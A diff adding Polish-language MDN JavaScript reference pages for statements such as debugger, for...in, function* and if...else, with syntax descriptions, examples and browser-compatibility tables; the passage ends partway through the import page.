Poniższy przykład pokazuje użycie wyrażenia debugger w celu uruchomienia debuggera w momencie wywołania funkcji (jeżeli jest dostępny).

+ +
function potentiallyBuggyCode() {
+    debugger;
+    // przeprowadź analizę działania programu zawierających bugi, przejdź do kolejnych wywołań, itp.
+}
+ +

Kiedy następuje wywołanie instrukcji debugger, uruchomienie programu zatrzymywane jest na wyrażeniu debugger. Działa to tak jak ustawienie breakpointu w kodzie źródłowym skryptu.

+ +

Paused at a debugger statement.

+ +

Specyfikacje

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecyfikacjaStatusKomentarz
{{SpecName('ESDraft', '#sec-debugger-statement', 'Debugger statement')}}{{Spec2('ESDraft')}} 
{{SpecName('ES6', '#sec-debugger-statement', 'Debugger statement')}}{{Spec2('ES6')}} 
{{SpecName('ES5.1', '#sec-12.15', 'Debugger statement')}}{{Spec2('ES5.1')}}Wstępna definicja
{{SpecName('ES3', '#sec-7.5.3', 'Debugger statement')}}{{Spec2('ES3')}} 
{{SpecName('ES1', '#sec-7.4.3', 'Debugger statement')}}{{Spec2('ES1')}}Jedynie wspomniane jako zarezerwowane słowo kluczowe
+ +


+ {{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
CechaChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Podstawowe wsparcia{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
CechaAndroidChrome for AndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Podstawowe wsparcie{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +

Zobacz też

+ + diff --git a/files/pl/web/javascript/reference/statements/do...while/index.html b/files/pl/web/javascript/reference/statements/do...while/index.html new file mode 100644 index 0000000000..a57caf17ee --- /dev/null +++ b/files/pl/web/javascript/reference/statements/do...while/index.html @@ -0,0 +1,54 @@ +--- +title: do...while +slug: Web/JavaScript/Referencje/Polecenia/do...while +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Reference/Statements/do...while +--- +

+

+

Podsumowanie

+

Wykonuje zadane polecenia dopóki warunek jest spełniony. Polecenia wykonywane są przynajmniej raz. +

+ + + + + + + + + + + + +
Polecenie
Zaimplementowane w:JavaScript 1.2, NES 3.0
Wersja ECMA:ECMA-262, Edycja 3 +
+

Składnia

+
do
+   polecenia
+while (warunek);
+
+

Parametry

+
polecenia 
Blok poleceń, który jest wykonywany przynajmniej raz. i jest wykonywany ponownie tak długo, jak warunek jest spełniony. +
+
warunek 
Obliczany przy każdym przejściu pętli. Jeśli warunek ma wartość prawda, polecenia w bloku go poprzedzającym są wykonywane ponownie. Kiedy warunek osiągnie wartość fałsz, sterowanie przepływa do następnego polecenia po pętli do...while +
+

Przykłady

+

Przykład: Zastosowanie do...while

+

W poniższym przykładzie pętla do...while wykonywana jest przynajmniej raz, a następnie jej wykonywanie jest powtarzane tak długo, aż i będzie większe lub równe 5. +

+
do {
+   i+=1;
+   document.write(i);
+} while (i<5);
+
+


+


+

+
+
+{{ languages( { "en": "en/Core_JavaScript_1.5_Reference/Statements/do...while", "es": "es/Referencia_de_JavaScript_1.5/Sentencias/do...while", "fr": "fr/R\u00e9f\u00e9rence_de_JavaScript_1.5_Core/Instructions/do...while", "ja": "ja/Core_JavaScript_1.5_Reference/Statements/do...while" } ) }} diff --git a/files/pl/web/javascript/reference/statements/empty/index.html b/files/pl/web/javascript/reference/statements/empty/index.html new file mode 100644 index 0000000000..4c55c3f4dd --- /dev/null +++ b/files/pl/web/javascript/reference/statements/empty/index.html @@ -0,0 +1,92 @@ +--- +title: empty +slug: Web/JavaScript/Referencje/Polecenia/Empty +tags: + - JavaScript + - funkcja języka + - wyrażenie +translation_of: Web/JavaScript/Reference/Statements/Empty +--- +
{{jsSidebar("Statements")}}
+ +

Puste wyrażenie jest używane do podania braku wyrażenia tam, gdzie składnia JavaScript wymaga jakiejkolwiek instrukcji.

+ +
{{EmbedInteractiveExample("pages/js/statement-empty.html")}}
+ + + +

Składnia

+ +
;
+
+ +

Opis

+ +

Puste wyrażenie jest zapisywane jako średnik, wskazujący na to, że żadna instrukcja nie będzie wykonana, nawet jeśli składnia JavaScript wymaga jakiejkolwiek operacji.

+ +

Przeciwna zachowanie, kiedy potrzebne jest użycie kilku wyrażeń tam, gdzie JavaScript pozwala tylko na jedno, jest możliwe dzięki blokom instrukcji, które łączą kilka wyrażeń w jedno.

+ +

Przykłady

+ +

Pusta pętla

+ +

Puste wyrażenie jest czasem używane w pętlach. Poniższy przykład prrzedstawia ciało pustej pętli:

+ +
let arr = [1, 2, 3];
+
+// Nadaj wszystkim elementom tablicy wartość 0
+for (let i = 0; i < arr.length; arr[i++] = 0) /* puste wyrażenie */ ;
+
+console.log(arr);
+// [0, 0, 0]
+
+ +

Nieumyślne użycie

+ +

Dobrym pomysłem jest dodanie komentarza do umyślnego użycia pustego wyrażenia, ponieważ nieoczywistym może się okazać rozróżnienie takiej instrukcji od zwykłego średnika.

+ +

W poniższym przykładzie użycie pustego wyrażenia prawdopodobnie nie jest umyślne:

+ +
if (condition);       // Uwaga, ten "if" nic nie robi!
+   killTheUniverse()  // To polecenie będzie zawsze wykonane!!!
+
+ +

W kolejnym przykładzie użyta jest instrukcja warunkowa {{jsxref("Statements/if...else", "if...else")}} bez nawiasów klamrowych ({}).

+ +

Jeśli wartość zmiennej trzy jest równa true, nic się nie stanie, zmienna cztery nie ma znaczenia, również funkcja odpalRakietę w przypadku else nie będzie wykonana.

+ +
if (jeden)
+  wykonajJeden();
+else if (dwa)
+  wykonajDwa();
+else if (trzy)
+  ; // puste wyrażenie
+else if (cztery)
+  wykonajCztery();
+else
+  odpalRakietę();
+ +

Specyfikacje

+ + + + + + + + + + +
Specyfikacja
{{SpecName('ESDraft', '#sec-empty-statement', 'Empty statement')}}
+ +

Wsparcie przeglądarek

+ + + +

{{Compat("javascript.statements.empty")}}

+ +

Zobacz też

+ + diff --git a/files/pl/web/javascript/reference/statements/export/index.html b/files/pl/web/javascript/reference/statements/export/index.html new file mode 100644 index 0000000000..3b29f1987b --- /dev/null +++ b/files/pl/web/javascript/reference/statements/export/index.html @@ -0,0 +1,47 @@ +--- +title: export +slug: Web/JavaScript/Referencje/Polecenia/export +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Reference/Statements/export +--- +

+

+

Podsumowanie

+

Pozwala podpisanemu skryptowi na dostarczanie własności, funkcji i obiektów do innych podpisanych lub niepodpisanych skryptów. Tej opcji nie ma w 3 edycji ECMA-262. +

+ + + + + + + + +
Instrukcja
Zaimplementowana w:JavaScript 1.2, NES 3.0
+

Składnia

+

+export nazwa1, nazwa2, ..., nazwaN; + +

+export *; + +

+

Parametry

+
nazwaN 
Własność, funkcja, lub obiekt do wyeksportowania. +
+

Opis

+

Zazwyczaj informacja w podpisanym skrypcie jest dostępna tylko dla skryptów podpisanych przez tych samych wykonawców. Poprzez wyeksportowanie własności, funkcji i obiektów podpisany skrypt udostępnia tę informację dla każdego skryptu (podpisanego lub niepodpisanego). Skrypt otrzymujący używa instrukcji import, by uzyskać dostęp do tej informacji. +

Pierwsza składnia eksportuje określone własności, funkcje i obiekty. +

Druga składnia eksportuje wszystkie własności, funkcje i obiekty ze skryptu. +

+

Zobacz także

+

import +


+

+
+
+{{ languages( { "en": "en/Core_JavaScript_1.5_Reference/Statements/export", "fr": "fr/R\u00e9f\u00e9rence_de_JavaScript_1.5_Core/Instructions/export", "ja": "ja/Core_JavaScript_1.5_Reference/Statements/export" } ) }} diff --git a/files/pl/web/javascript/reference/statements/for...in/index.html b/files/pl/web/javascript/reference/statements/for...in/index.html new file mode 100644 index 0000000000..d8c17d3b3e --- /dev/null +++ b/files/pl/web/javascript/reference/statements/for...in/index.html @@ -0,0 +1,173 @@ +--- +title: for...in +slug: Web/JavaScript/Referencje/Polecenia/for...in +tags: + - JavaScript + - wyrażenie +translation_of: Web/JavaScript/Reference/Statements/for...in +--- +
{{jsSidebar("Statements")}}
+ +

Wyrażenie for...in iteruje po nazwach wszystkich wyliczalnych własnościach obiektu, włączając w to odziedziczone wyliczalne właściwości. for...in pomija te właściwości, które są indeksowane Symbolami.

+ +
{{EmbedInteractiveExample("pages/js/statement-forin.html")}}
+ + + +

Składnia

+ +
for (zmienna in obiekt)
+  polecenie
+ +
+
zmienna
+
W każdej iteracji, zmiennej przypisywana jest inna nazwa własności.
+
obiekt
+
Obiekt, po którego niesymbolicznych wyliczalnych własnościach iterujemy.
+
+ +

Opis

+ +

for...in iteruje jedynie po wyliczalnych i jednocześnie niesymbolicznych właściwościach. Obiekty utworzone za pomocą wbudowanych konstruktorów (np. Array czy Object) dziedziczą niewyliczalne właściwości z m.in. Object.protoype oraz String.prototype, takie jak metoda {{jsxref("String.indexOf", "indexOf()")}} ze {{jsxref("String")}} albo {{jsxref("Object.toString", "toString()")}} z {{jsxref("Object")}}. Pętla przejdzie przez wszystkie wyliczalne właściwości – zarówno własne, jak i odziedziczone z prototypu konstruktora.

+ +

Usunięte, dodane lub zmodyfikowane własności

+ +

Pętla for...in iteruje po właściwościach w arbitralnej kolejności (zobacz więcej w opisie operatora {{jsxref("Operators/delete", "delete")}}, dlaczego nie można liczyć na konkretną kolejność właściwości – szczególnie w różnych przeglądarkach).

+ +

Jeśli właściwość zostanie zmodyfikowana w danej iteracji, a dopiero następnie odwiedzona przez for...in, przyjmuje tę późniejszą wartość. Usunięcie właściwości przed jej odwiedzeniem przez pętlę, spowoduje, że nie wystąpi w żadnej z późniejszych iteracji. Natomiast właściwość dodana do obiektu w trakcie iterowania może (ale nie musi) zostać odwiedzona przez pętlę.

+ +

Ogólnie, w trakcie iterowania z użyciem for...in najlepiej jest nie modyfikować innych właściwości obiektu niż ta, która jest aktualnie odwiedzona. Nie ma żadnej gwarancji, że dodana właściwość zostanie odwiedzona, ani że właściwość usuwana zostanie odwiedzona przed skasowaniem. Podobnie, nie ma gwarancji, czy właściwość zmodyfikowana zostanie odwiedzona przed, czy po modyfikacji.

+ +

Iterowanie po tablicy i for...in

+ +
+

Uwaga: wyrażenie for...in nie powinno być używane na obiektach klasy{{jsxref("Array")}}, gdzie kolejność elementów jest ważna.

+
+ +

Indeksy tablic są niczym innym jak właściwościami obiektu – z tym, że ich nazwy są liczbowe, a nie słowne. Dlatego nie ma gwarancji, że for...in odwiedzi je w jakiejkolwiek konkretnej kolejności. Ponadto, pętla zwróci także nieliczbowe właściwości oraz te odziedziczone.

+ +

Kiedy kolejność odwiedzania elementów ma znaczenie, iterowanie po elementach tablicy powinno odbywać się z użyciem pętli {{jsxref("Statements/for", "for")}} (albo {{jsxref("Array.prototype.forEach()")}} albo pętli {{jsxref("Statements/for...of", "for...of")}}), ze względu na to, że kolejność iterowania po właściwościach jest zależna od implementacji.

+ +

Iterowanie jedynie po własnych właściwościach

+ +

Jeżeli potrzebujesz iterować tylko po własnych właściwościach obiektu, użyj {{jsxref("Object.getOwnPropertyNames", "getOwnPropertyNames()")}}, albo sprawdzaj za każdym razem, czy właściwość jest właściwością własną za pomocą {{jsxref("Object.prototype.hasOwnProperty", "hasOwnProperty()")}}({{jsxref("Object.prototype.propertyIsEnumerable", "propertyIsEnumerable()")}} również moży zostać użyte). Alternatywnie, jeśli jesteś pewien, że nie spowoduje to problemów w kodzie, możesz rozszerzyć wbudowane prototypy o metodę sprawdzającą, czy właściwość jest własna.

+ +

Dlaczego używać for...in?

+ +

Skoro pętla for...in została stworzona do iterowania po właściwościach obiektu i nie jest zalecana do pracy z tablicami, to jaki może bć z niej pożytek?

+ +

Najbardziej praktyczna jest w sytuacjach związanych z debugowaniem, zapewniając łatwy sposób na sprawdzenie właściwości obiektu (wypisując je do konsoli lub gdziekolwiek indziej). Oprócz tego, są sytuacje, kiedy pary klucz-wartość są indeksowane innym typem niż liczba. Wtedy po takim "słowniku" można przeiterować za pomocą for...in.

+ +

Przykłady

+ +

Użycie for...in

+ +

Pętla for...in poniżej iteruje po wszystkich wyliczalnych właściwościach obiektu obj i wypisuje je do konsoli.

+ +
var obj = {a: 1, b: 2, c: 3};
+
+for (const prop in obj) {
+  console.log(`obj.${prop} = ${obj[prop]}`);
+}
+
+// Wyjście:
+// "obj.a = 1"
+// "obj.b = 2"
+// "obj.c = 3"
+ +

Iterowanie po własnych właściwościach

+ +

Następny przykład pokazuje użycie {{jsxref("Object.prototype.hasOwnProperty", "hasOwnProperty()")}}, aby nie wyświetlać właściwości odziedziczonych przez ColoredTriangle.

+ +
var triangle = {a: 1, b: 2, c: 3};
+
+function ColoredTriangle() {
+  this.color = 'red';
+}
+
+ColoredTriangle.prototype = triangle;
+
+var obj = new ColoredTriangle();
+
+for (const prop in obj) {
+  if (obj.hasOwnProperty(prop)) {
+    console.log(`obj.${prop} = ${obj[prop]}`);
+  }
+}
+
+// Wyjście:
+// "obj.color = red"
+
+ +

Specyfikacje

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecyfikacjaStatusKomentarz
{{SpecName('ESDraft', '#sec-for-in-and-for-of-statements', 'for...in statement')}}{{Spec2('ESDraft')}}
{{SpecName('ES6', '#sec-for-in-and-for-of-statements', 'for...in statement')}}{{Spec2('ES6')}}
{{SpecName('ES5.1', '#sec-12.6.4', 'for...in statement')}}{{Spec2('ES5.1')}}
{{SpecName('ES3', '#sec-12.6.4', 'for...in statement')}}{{Spec2('ES3')}}
{{SpecName('ES1', '#sec-12.6.3', 'for...in statement')}}{{Spec2('ES1')}}Definicja początkowa.
+ +

Zgodność z przeglądarkami

+ + + +

{{Compat("javascript.statements.for_in")}}

+ +

Zgodność: Wyrażenie incjalizujące w trybie ścisłym

+ +

Przed Firefoksem 40, było możliwe używanie wyrażenia incjalizującego (i=0) w pętli for...in:

+ +
var obj = {a: 1, b: 2, c: 3};
+for (var i = 0 in obj) {
+  console.log(obj[i]);
+}
+// 1
+// 2
+// 3
+
+ +

To niestandardowe zachowanie jest ignorowane począwszy od wersji 40 i powoduje zgłoszenie błędu {{jsxref("SyntaxError")}} ("for-in loop head declarations may not have initializers") w trybie ścisłym ({{bug(748550)}} i {{bug(1164741)}}).

+ +

Inne silniki, takie jak v8 (Chrome), Chakra (IE/Edge), i JSC (WebKit/Safari) również mogą przestać obsługiwać taką konstrukcję.

+ +

Zobacz też

+ + diff --git a/files/pl/web/javascript/reference/statements/for/index.html b/files/pl/web/javascript/reference/statements/for/index.html new file mode 100644 index 0000000000..1178c277ef --- /dev/null +++ b/files/pl/web/javascript/reference/statements/for/index.html @@ -0,0 +1,58 @@ +--- +title: for +slug: Web/JavaScript/Referencje/Polecenia/for +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Reference/Statements/for +--- +

+

+

Podsumowanie

+

Tworzy pętlę, która składa się z trzech opcjonalnych wyrażeń, załączonych w nawiasach i oddzielonych średnikami, po których występuje instrukcja wykonywana w pętli. +

+ + + + + + + + + + + + +
Instrukcja
Zaimplementowana w:JavaScript 1.0, NES 2.0
Wersja ECMA:ECMA-262
+

Składnia

+
for ([wyrażenie-wstępne]; [warunek]; [wyrażenie-inkrementacji])
+   instrukcja
+
+

Parametry

+
wyrażenie-wstępne 
Wyrażenie (włącznie z wyrażeniami przypisania) lub deklaracja zmiennej. Zazwyczaj używane do zainicjalizowania zmiennej licznika. Wyrażenie to może opcjonalnie deklarować nowe zmienne za pomocą słowa kluczowego var. Zmienne te nie są lokalne dla pętli, inaczej mówiąc, mają one taki sam zasięg jak pętla for. +
+
warunek 
Wyrażenie sprawdzane podczas każdego przejścia przez pętlę. Jeśli warunek jest prawdziwy, wykonywana jest instrukcja. Sprawdzenie warunku jest opcjonalne. Jeśli zostanie pominięte, warunek jest zawsze uznawany jako prawdziwy.
+
wyrażenie-inkrementacji 
Ogólnie używane do aktualizacji lub inkrementacji wartości zmiennej licznika. +
+
instrukcja 
Instrukcja, wykonywana dopóki warunek oceniany jest jako prawdziwy. Aby wykonać większą ilość instrukcji wewnątrz pętli, użyj instrukcji block ({ ... }), aby pogrupować te instrukcje. +
+

Przykład

+

Przykład: Zastosowanie for

+

Następująca instrukcja for rozpoczyna się deklaracją zmiennej i oraz zainicjalizowaniem jej wartości początkowej 0. Instrukcja sprawdza kolejno czy wartość zmiennej i jest mniejsza od dziewięciu, wykonuje dwie następujące po sobie instrukcje oraz zwiększa o 1 wartość zmiennej i podczas każdego kolejnego przejścia przez pętlę. +

+
for (var i = 0; i < 9; i++) {
+   n += i;
+   myfunc(n);
+}
+
+

Zobacz także

+

while, +do...while +


+


+

+
+
+{{ languages( { "en": "en/Core_JavaScript_1.5_Reference/Statements/for", "es": "es/Referencia_de_JavaScript_1.5/Sentencias/for", "fr": "fr/R\u00e9f\u00e9rence_de_JavaScript_1.5_Core/Instructions/for", "ja": "ja/Core_JavaScript_1.5_Reference/Statements/for" } ) }} diff --git a/files/pl/web/javascript/reference/statements/function/index.html b/files/pl/web/javascript/reference/statements/function/index.html new file mode 100644 index 0000000000..6b9eba95dd --- /dev/null +++ b/files/pl/web/javascript/reference/statements/function/index.html @@ -0,0 +1,68 @@ +--- +title: function +slug: Web/JavaScript/Referencje/Polecenia/function +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Reference/Statements/function +--- +

+

+

Podsumowanie

+

Deklaruje funkcję z określonymi parametrami. +

Możesz również zdefiniować funkcję używając konstruktora Function oraz operator function (wyrażenie funkcji). +

+ + + + + + + + + + + + +
Instrukcja
Zaimplementowana w:JavaScript 1.0, NES 2.0 +

JavaScript 1.5, NES 6.0: Dodano deklaracje funkcji warunkowych (rozszerzenie Netscape). +

+
Wersja ECMA:ECMA-262 +
+

Składnia

+
function nazwa([argument] [, argument] [..., argument]) {
+   instrukcje
+}
+
+

Parametry

+
nazwa 
Nazwa funkcji. +
+
argument 
Nazwa argumentu, który ma zostać przekazany do funkcji. Funkcja może posiadać do 255 argumentów. +
+
instrukcje 
Instrukcje, które stanowią ciało funkcji. +
+

Opis

+

Aby zwrócić wartość, funkcja musi zawierać instrukcję return określającą wartość, która ma zostać zwrócona. +

Funkcja utworzona za pomocą instrukcji function jest obiektem Function i posiada wszystkie własności, metody i zachowania obiektów Function. Zobacz Function, aby uzyskać szczegółowe informacje o funkcjach. +

Funkcja może zostać zadeklarowana również wewnątrz wyrażenia. W takim przypadku funkcja jest zazwyczaj anonimowa. Zobacz operator function, aby uzyskać więcej informacji o function (wyrażenie funkcji). +

Funkcje mogą być deklarowane warunkowo. To znaczy, definicja funkcji może zostać zagnieżdżona wewnątrz instrukcji if. Technicznie rzecz biorąc, takie deklaracje nie są właściwie deklaracjami funkcji; są one wyrażeniami funkcji. +

+

Przykłady

+

Przykład: Zastosowanie function

+

Poniższy kod deklaruje funkcję, która zwraca całkowitą kwotę sprzedaży, gdy podano liczbę sprzedanych produktów a, b i c. +

+
function calc_sales(units_a, units_b, units_c) {
+   return units_a*79 + units_b * 129 + units_c * 699;
+}
+
+

Zobacz także

+

Funkcje, +Function, +function operator +


+

+
+
+{{ languages( { "en": "en/Core_JavaScript_1.5_Reference/Statements/function", "es": "es/Referencia_de_JavaScript_1.5/Sentencias/function", "fr": "fr/R\u00e9f\u00e9rence_de_JavaScript_1.5_Core/Instructions/function", "ja": "ja/Core_JavaScript_1.5_Reference/Statements/function" } ) }} diff --git a/files/pl/web/javascript/reference/statements/function_star_/index.html b/files/pl/web/javascript/reference/statements/function_star_/index.html new file mode 100644 index 0000000000..5962e0c286 --- /dev/null +++ b/files/pl/web/javascript/reference/statements/function_star_/index.html @@ -0,0 +1,309 @@ +--- +title: function* +slug: Web/JavaScript/Referencje/Polecenia/function* +translation_of: Web/JavaScript/Reference/Statements/function* +--- +
{{jsSidebar("Statements")}}
+ +

Deklaracja function*  (Słowo kluczowe function przed gwiazdką) definiuje funkcję generatora, która zwraca obiekt {{jsxref("Obiekty/Generator","Generator")}}.

+ +
+

Możesz także zdefinować funkcje generatora używając konstruktora {{jsxref("GeneratorFunction")}} oraz {{jsxref("Operators/function*", "function* expression")}}.

+
+ +

Składnia

+ +
function* name([param[, param[, ... param]]]) {
+   statements
+}
+
+ +
+
name
+
Nazwa funkcji.
+
+ +
+
param
+
Nazwa argumentu przekazywanego do funkcji. Funkcja może posiadać maksymalnie 255 argumentów.
+
+ +
+
statements
+
Polecenia wypełniające ciało funkcji.
+
+ +

Opis

+ +

Generatory są specyficznym rodzajem funkcji, która może być zatrzymywana i wznawiana. Pomiędzy kolejnymi wznowieniami zachowany jest kontekst (variable bindings).

+ +

Wywołanie funkcji generatora nie wykonuje poleceń w niej zawartych od razu; Zamiast tego, zwracany jest obiekt iteratora. Dopiero kiedy na iteratorze wywoływana jest metoda next() wykonywane jest ciało funkcji, do momentu wystąpienia pierwszego wyrażenia {{jsxref("Operators/yield", "yield")}}. {{jsxref("Operators/yield", "yield")}} Określa jaka wartość zostanie zwrócona z generatora lub, jeśli użyto {{jsxref("Operators/yield*", "yield*")}}, wskazuje na kolejny do wywołania generator. Metoda next() zwraca obiekt z właściwością value zawierającą zwróconą przez {{jsxref("Operators/yield", "yield")}} wartość oraz właściowść done , która wskazuje czy generator zwórcił już wartość ostatniego {{jsxref("Operators/yield", "yield")}}. Wywołanie metody next() z argumentem, będzie wznawiało wykonywanie generatora za miejscem gdzie występował {{jsxref("Operators/yield", "yield")}} wstrzymujący generator.

+ +

Przykłady

+ +

Prosty przykład

+ +
function* idMaker() {
+  var index = 0;
+  while (index < 3)
+    yield index++;
+}
+
+var gen = idMaker();
+
+console.log(gen.next().value); // 0
+console.log(gen.next().value); // 1
+console.log(gen.next().value); // 2
+console.log(gen.next().value); // undefined
+// ...
+ +

Przykład z yield*

+ +
function* anotherGenerator(i) {
+  yield i + 1;
+  yield i + 2;
+  yield i + 3;
+}
+
+function* generator(i) {
+  yield i;
+  yield* anotherGenerator(i);
+  yield i + 10;
+}
+
+var gen = generator(10);
+
+console.log(gen.next().value); // 10
+console.log(gen.next().value); // 11
+console.log(gen.next().value); // 12
+console.log(gen.next().value); // 13
+console.log(gen.next().value); // 20
+
+ +

Przekazywanie parametrów do generatora

+ +
function* logGenerator() {
+  console.log(yield);
+  console.log(yield);
+  console.log(yield);
+}
+
+var gen = logGenerator();
+
+// the first call of next executes from the start of the function
+// until the first yield statement
+gen.next();
+gen.next('pretzel'); // pretzel
+gen.next('california'); // california
+gen.next('mayonnaise'); // mayonnaise
+
+ +

Wyrażenie return wewnątrz generatora

+ +
function* yieldAndReturn() {
+  yield "Y";
+  return "R";
+  yield "unreachable";
+}
+
+var gen = yieldAndReturn()
+console.log(gen.next()); // { value: "Y", done: false }
+console.log(gen.next()); // { value: "R", done: true }
+console.log(gen.next()); // { value: undefined, done: true }
+ +

Generator nie jest typowym konstruktorem

+ +
function* f() {}
+var obj = new f; // throws "TypeError: f is not a constructor"
+ +

Specyfikacja

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('ES2015', '#', 'function*')}}{{Spec2('ES2015')}}Initial definition.
{{SpecName('ES2016', '#', 'function*')}}{{Spec2('ES2016')}}Changed that generators should not have [[Construct]] trap and will throw when used with new.
{{SpecName('ESDraft', '#', 'function*')}}{{Spec2('ESDraft')}} 
+ +

Kompatybilność przeglądarek

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet Explorer EdgeOperaSafari (WebKit)
Basic support{{CompatChrome(39.0)}}{{CompatGeckoDesktop("26.0")}}{{CompatNo}}1326{{CompatSafari("10")}}
yield*{{CompatVersionUnknown}}{{CompatGeckoDesktop("27.0")}}{{CompatNo}}1326{{CompatSafari("10")}}
IteratorResult object instead of throwing{{CompatVersionUnknown}}{{CompatGeckoDesktop("29.0")}}{{CompatNo}}13{{CompatVersionUnknown}}{{CompatUnknown}}
Not constructable with new as per ES2016{{CompatVersionUnknown}}{{CompatGeckoDesktop("43.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
Trailing comma in parameters{{CompatUnknown}}{{CompatGeckoDesktop("52.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)IE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatVersionUnknown}}{{CompatGeckoMobile("26.0")}}{{CompatNo}}{{CompatNo}}{{CompatSafari("10")}}{{CompatChrome(39.0)}}
yield*{{CompatNo}}{{CompatVersionUnknown}}{{CompatGeckoMobile("27.0")}}{{CompatNo}}{{CompatNo}}{{CompatSafari("10")}}{{CompatVersionUnknown}}
IteratorResult object instead of throwing{{CompatNo}}{{CompatUnknown}}{{CompatGeckoMobile("29.0")}}{{CompatNo}}{{CompatNo}}{{CompatUnknown}}{{CompatVersionUnknown}}
Not constructable with new as per ES2016{{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoMobile("43.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
Trailing comma in parameters{{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoMobile("52.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

Firefox-specific notes

+ +

Generatory i iteratory w Firefox przed wersją 26

+ +

Starsze wersje Firefox implementują nieco inną, bardziej archaiczną propozycje specyfikacji. W starszych wersjach definiowanie generatorów odbywało się za pomocą wyłącznie słowa kluczowego function (bez dodatkowej gwiazdki). Tą i wiele innych drobnych różnic można sprawdzić na Legacy generator function.

+ +

IteratorResult zwraca obiekt zamiast rzucać wyjątek

+ +

Począwszy od silnika Gecko 29 {{geckoRelease(29)}}, zakończony generator nie rzuca już więcej wyjątkami {{jsxref("TypeError")}} "generator has already finished". W zamian za to zwraca obiekt IteratorResult w postaci { value: undefined, done: true } ({{bug(958951)}}).

+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/statements/if...else/index.html b/files/pl/web/javascript/reference/statements/if...else/index.html new file mode 100644 index 0000000000..38dd3c8f8a --- /dev/null +++ b/files/pl/web/javascript/reference/statements/if...else/index.html @@ -0,0 +1,65 @@ +--- +title: if...else +slug: Web/JavaScript/Referencje/Polecenia/if...else +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Reference/Statements/if...else +--- +

+

+

Podsumowanie

+

Wykonuje blok poleceń, jeśli dany warunek jest spełniony. Jeśli warunek nie jest spełniony, może zostać wykonany inny blok poleceń. +

+ + + + + + + + + + + + +
Polecenie
Zaimplementowane w:JavaScript 1.0, NES 2.0
Wersja ECMA:ECMA-262
+

Składnia

+
if (warunek) {
+   polecenia1
+}
+[else {
+   polecenia2
+}]
+
+

Parametry

+
warunek 
może być dowolnym wyrażeniem JavaScriptu przyjmującym wartości logiczne (true, false) lub mogącym być na wartości logiczne przekonwertowane. Warunek musi być ujęty w nawiasach. Jeśli warunek jest spełniony (ma wartość true), wykonywane są polecenia w bloku polecenia1. +
+
polecenia1, polecenia2 
mogą być dowolnymi poleceniami JavaScriptu, w tym zagnieżdżonymi poleceniami if...else. Bloki wielu poleceń muszą być ujęte w nawiasy klamrowe. +
+

Opis

+

Nie powinno się używać prostych operatorów przypisania w wyrażeniu warunkowym. Przykładowo, nie należy używać kodu podobnego do poniższego: +

+
if(x = y)
+{
+   /* zrób coś */
+}
+
+

Jeśli potrzebujesz użyć przypisania w wyrażeniu warunkowym, użyj dodatkowej pary nawiasów. Na przykład: if( (x = y) ). +

+

Przykłady

+

Przykład: Zastosowanie if...else

+
if (cipher_char == from_char) {
+   result = result + to_char
+   x++}
+else
+   result = result + clear_char
+
+


+


+

+
+
+{{ languages( { "en": "en/Core_JavaScript_1.5_Reference/Statements/if...else", "es": "es/Referencia_de_JavaScript_1.5/Sentencias/if...else", "fr": "fr/R\u00e9f\u00e9rence_de_JavaScript_1.5_Core/Instructions/if...else", "ja": "ja/Core_JavaScript_1.5_Reference/Statements/if...else" } ) }} diff --git a/files/pl/web/javascript/reference/statements/import/index.html b/files/pl/web/javascript/reference/statements/import/index.html new file mode 100644 index 0000000000..406050c420 --- /dev/null +++ b/files/pl/web/javascript/reference/statements/import/index.html @@ -0,0 +1,55 @@ +--- +title: import +slug: Web/JavaScript/Referencje/Polecenia/import +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Reference/Statements/import +--- +

+

+

Podsumowanie

+

Pozwala zaimportować własności, funkcje i obiekty z podpisanego skryptu, który wyeksportował informację. +

Tej cechy nie ma w 3 edycji ECMA 262. +

+ + + + + + + + +
Instrukcja
Zaimplementowane w:JavaScript 1.2, NES 3.0
+

Składnia

+

+import objectName.name1, objectName.name2, ..., objectName.nameN; + +

+import objectName.*; + +

+

Parametry

+
objectName 
Nazwa obiektu, który przyjmie zaimportowane nazwy. +
+
nameN 
